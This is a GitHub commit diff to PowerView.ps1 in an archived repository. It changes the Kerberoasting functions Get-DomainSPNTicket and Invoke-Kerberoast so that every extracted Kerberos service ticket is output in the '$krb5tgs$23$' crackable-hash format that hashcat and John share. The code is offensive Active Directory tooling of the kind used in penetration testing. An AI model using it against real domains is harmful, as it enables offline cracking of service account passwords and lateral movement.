Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 35452ce

Browse files
committed
Fixed Kerberoasting output so it at least cracks now for john's new format change.
1 parent a4a3ae5 commit 35452ce

File tree

1 file changed

+11
-36
lines changed

1 file changed

+11
-36
lines changed

Recon/PowerView.ps1

Lines changed: 11 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -2597,11 +2597,6 @@ Specifies the service principal name to request the ticket for.
25972597

25982598
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
25992599

2600-
.PARAMETER OutputFormat
2601-
2602-
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2603-
Defaults to 'John'.
2604-
26052600
.PARAMETER Credential
26062601

26072602
A [Management.Automation.PSCredential] object of alternate credentials
@@ -2621,9 +2616,9 @@ Request kerberos service tickets for all SPNs passed on the pipeline.
26212616

26222617
.EXAMPLE
26232618

2624-
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
2619+
Get-DomainUser -SPN | Get-DomainSPNTicket
26252620

2626-
Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
2621+
Request kerberos service tickets for all users with non-null SPNs.
26272622

26282623
.INPUTS
26292624

@@ -2658,11 +2653,6 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
26582653
[Object[]]
26592654
$User,
26602655

2661-
[ValidateSet('John', 'Hashcat')]
2662-
[Alias('Format')]
2663-
[String]
2664-
$OutputFormat = 'John',
2665-
26662656
[Management.Automation.PSCredential]
26672657
[Management.Automation.CredentialAttribute()]
26682658
$Credential = [Management.Automation.PSCredential]::Empty
@@ -2722,20 +2712,16 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
27222712
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
27232713
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
27242714

2725-
if ($OutputFormat -match 'John') {
2726-
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
2715+
if ($DistinguishedName -ne 'UNKNOWN') {
2716+
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
27272717
}
27282718
else {
2729-
if ($DistinguishedName -ne 'UNKNOWN') {
2730-
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2731-
}
2732-
else {
2733-
$UserDomain = 'UNKNOWN'
2734-
}
2735-
2736-
# hashcat output format
2737-
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2719+
$UserDomain = 'UNKNOWN'
27382720
}
2721+
2722+
# hashcat output format (and now John's)
2723+
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
2724+
27392725
$Out | Add-Member Noteproperty 'Hash' $HashFormat
27402726
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
27412727
Write-Output $Out
@@ -2765,7 +2751,6 @@ Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-Domain
27652751

27662752
Uses Get-DomainUser to query for user accounts with non-null service principle
27672753
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
2768-
The ticket format can be specified with -OutputFormat <John/Hashcat>.
27692754

27702755
.PARAMETER Identity
27712756

@@ -2806,11 +2791,6 @@ Specifies the maximum amount of time the server spends searching. Default of 120
28062791

28072792
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
28082793

2809-
.PARAMETER OutputFormat
2810-
2811-
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2812-
Defaults to 'John'.
2813-
28142794
.PARAMETER Credential
28152795

28162796
A [Management.Automation.PSCredential] object of alternate credentials
@@ -2824,7 +2804,7 @@ Kerberoasts all found SPNs for the current domain.
28242804

28252805
.EXAMPLE
28262806

2827-
Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
2807+
Invoke-Kerberoast -Domain dev.testlab.local | fl
28282808

28292809
Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
28302810
format instead of John (the default).
@@ -2887,11 +2867,6 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
28872867
[Switch]
28882868
$Tombstone,
28892869

2890-
[ValidateSet('John', 'Hashcat')]
2891-
[Alias('Format')]
2892-
[String]
2893-
$OutputFormat = 'John',
2894-
28952870
[Management.Automation.PSCredential]
28962871
[Management.Automation.CredentialAttribute()]
28972872
$Credential = [Management.Automation.PSCredential]::Empty
@@ -2919,7 +2894,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
29192894

29202895
PROCESS {
29212896
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
2922-
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
2897+
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
29232898
}
29242899

29252900
END {

0 commit comments

Comments
 (0)